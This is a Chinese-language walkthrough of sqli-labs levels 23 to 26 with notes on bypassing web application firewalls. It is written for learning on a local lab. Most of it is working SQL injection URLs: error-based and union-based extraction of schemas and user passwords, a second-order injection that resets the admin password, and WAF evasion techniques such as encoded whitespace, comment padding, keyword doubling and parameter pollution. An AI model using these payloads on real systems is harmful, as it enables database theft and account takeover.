参考crow: https://github.com/crow821/crowsec

Less-23

  • 源码中对于 --+ # 进行了过滤处理, 所以这里我们只能使用and 或者or语句进行闭合,在这里可以使用另外一种特殊的注释符;%00通过这个注释符可以判断列数
  • 除了在url末尾将–+、# --+ #替换为 ;%00 其余的均和less01关相同。

    第二种报错注入

    1
    http://127.0.0.1/sqli/Less-23/?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1 报错出数据库
    1
    http://127.0.0.1/sqli/Less-23/?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or '1'='1 查询所有的数据库,使用limit进行逐个查询。
  • 后续更换语句即可

二次注入

  • 二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
  • 二次注入,可以概括为以下两步:

    第一步:插入恶意数据: 进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
    第二步:引用恶意数据: 开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

Less-24

  1. 本关中由于对数据库长度做了限制,所以本次只演示替换密码:
  2. 首先我们查询目前的users表信息,找到admin的密码
  3. 我们用admin’# 注册一个账号,再登录
  4. 我们修改admin的密码
    SQL语句:
    1
    2
    3
    UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
    UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'
    UPDATE users SET PASSWORD='123456' where username='admin'

sql注入WAF绕过

Waf绕过可大致分为三类:

白盒绕过

  • 通过源代码分析,来进行绕过

    黑盒绕过

    架构层面绕过waf

  1. 寻找源网站绕过waf检测
    主要针对的是云waf,找到源网站的真实地址,进行绕过,有点像CDN
  2. 通过同网段绕过waf防护
    在一个网段中,可能经过的数据不会经过云waf,从而实现绕过。

    资源限制角度绕过waf

  • 一般waf的执行需要优先考虑业务优先的原则,所以对于构造较大、超大数据包可能不会进行检测,从而实现绕过waf。

    协议层面绕过waf

  1. 协议未覆盖绕过waf
    比如由于业务需要,只对get型进行检测,post数据选择忽略
  2. 参数污染
    index?id=1&id=2 waf可能只对id=1进行检测

    规则层面的绕过waf

    sql注释符绕过

    1
    2
    3
    4
    union /**/select                               我们将union select之间的空格使用注释符进行替换(适用于对union select之间的空格进行检测的情况)
    union/*crow%0%32#*/select 我们在注释符中间填充内容
    union/*aaaaaaaaaabbbbbbbbbcccccccccccdddddddddddeeeeeeeeeeee%%%%%%%%%*/select 构造较大数据
    /*!union select*/内联注释 我们使用内联注释,mysql特有
  • 以上均采用select 1;进行测试成功

空白符绕过

1
2
3
mysql空白符:%09;%0A;  %0B;  %0D;  %20;  %0C;  %A0;  /*XXX*/
正则空白符: %09;%0A; %0B; %0D; %20;
%25其实就是百分号 %25A0 就是空白符

函数分割符号

1
2
3
4
5
6
将一个函数进行分割concat()
%25其实就是百分号 %25A0 就是空白符
concat%2520(
concat/**/(
concat%250c(
concat%25a0(

浮点数词法解释

1
waf对于id=1可以进行检测,但是对于id=1E0、id=1.0、id=\N可能就无法检测

利用error-based进行sql注入

1
2
3
4
5
6
7
8
extractvalue(1, concat(0x5c,md5(3)));
updatexml(1, concat(0x5d,md5(3)),1);
GeometryCollection((select*from(select*from(select@@version)f)x))
polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()

mysql 特殊语法

1
2
select {x schema_name} from {x information_schema.schemata};
select {x 1};

fuzz测试

  • 可以使用burpsuite配合手工进行测试,后期测试成功后再用脚本进行处理。

    大小写绕过

    1
    2
    3
    4
    5
    6
    7
    8
    如果对关键字and  or  union等进行了过滤,可以考虑使用大小写混合的方法
    Or aNd UniOn
    但是很多时候有函数会部分大小写进行过滤,这个时候我们可以考虑使用双写的方法
    8. 关键字重复
    OORr  or
    9. 关键字替换
    如果还是无法绕过,可以考虑替换的方法
    and == && or == || like可以替换 = <> 等价于 !=

    Less-25

  • 网页里,作者给出了一个提示,发现or被过滤了,我们尝试双写

  • 双写的情况下,我们开始测试

    1
    2
    3
    4
    5
    6
    1. http://127.0.0.1/sqli/Less-25/?id=-1'  union select 1,2,3--+ 获得回显位置
    2. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,schema_name from information_schema.schemata --+ 根据提示我们可以到所有的or都被替换了,所以所有位置的or都需要写两次
    3. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata --+ 取出所有的库
    4. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=0x7365637572697479 --+ 取出所有的表
    5. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 取出所有的字段
    6. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 取出字段中的值
  • 当我们使用or => ||的时候:

1
2
3
4
5
1. http://127.0.0.1/sqli/Less-25/?id=-1' || 1=1--+ 判断存在注入
2. http://127.0.0.1/sqli/Less-25/?id=-1' || updatexml(1,concat(0x7e,(database()),0x7e),1)--+ 爆出当前数据库
3. http://127.0.0.1/sqli/Less-25/?id=-1' || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1),0x7e),1)--+
遍历爆出所有的数据,继续使用即可,这里不可以使用group_concat(),因为数据显示不完整

Less-25a

1
2
3
4
5
6
1. http://127.0.0.1/sqli/Less-25a/?id=1 页面显示正常
2. http://127.0.0.1/sqli/Less-25a/?id=1' 此时页面发生显著变化,数据消失,说明存在注入,但是通过$sql语句得知,此处并没有将id值进行包裹
3. http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2,3--+ 可以使用联合查询,当我们使用联合查询注入时:
4. http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+ 查到库
5. http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 查到字段
6. http://127.0.0.1/sqli/Less-25a/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 查到字段值

空格url编码替换

  • 绕开空格:
    1
    2
    3
    4
    5
    6
    %09 TAB键(水平)
    %0a 新建一行
    %0c 新的一页
    %0d return功能
    %0b TAB键(垂直)
    %a0 空格

Less-26

  • 当我们不考虑空格,使用报错注入的时候:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    1. http://127.0.0.1/Less-26/?id=1'  || updatexml(1, concat(0x7e, ( database()  ) ),1)  || '1'='1 
    使用这种方式可以得到我们的当前数据库
    2. http://127.0.0.1/Less-26/?id=1' || updatexml(1, concat(0x7e, (select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = 0x7365637572697479) ) ),1) || '1'='1
    这样我们可以取得表信息。
    3. http://127.0.0.1/Less-26/?id=1' || updatexml(1, concat(0x7e, (select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name = 0x7573657273) ) ),1) || '1'='1
    通过这个我们取得字段的值
    4. http://127.0.0.1/Less-26/?id=1' || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users) ) ),1) || '1'='1
    取出字段的值,但是取出的值很少,不完整。
    5. http://127.0.0.1/Less-26/?id=1' || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users) where (id=2) ) ) ,1) || '1'='1
    通过改变id的值可以遍历所有的数据。
    1
    2
    3
    4
    5
    以上的方法中,因为不能使用空格,所以采用报错注入的形式。我们如果使用字符进行替换呢?将空格替换为编码字符如何解决?  

    当我们使用%a0充当空格替换的时候:
    http://127.0.0.1/Less-26/?id=1' %a0%a0%a0%a0 oorrder %a0by%a0;%00
    这个时候我们直接将所有的空格进行替换即可,注释符可以使用;%00或者是使用 || '1'='1即可完成注入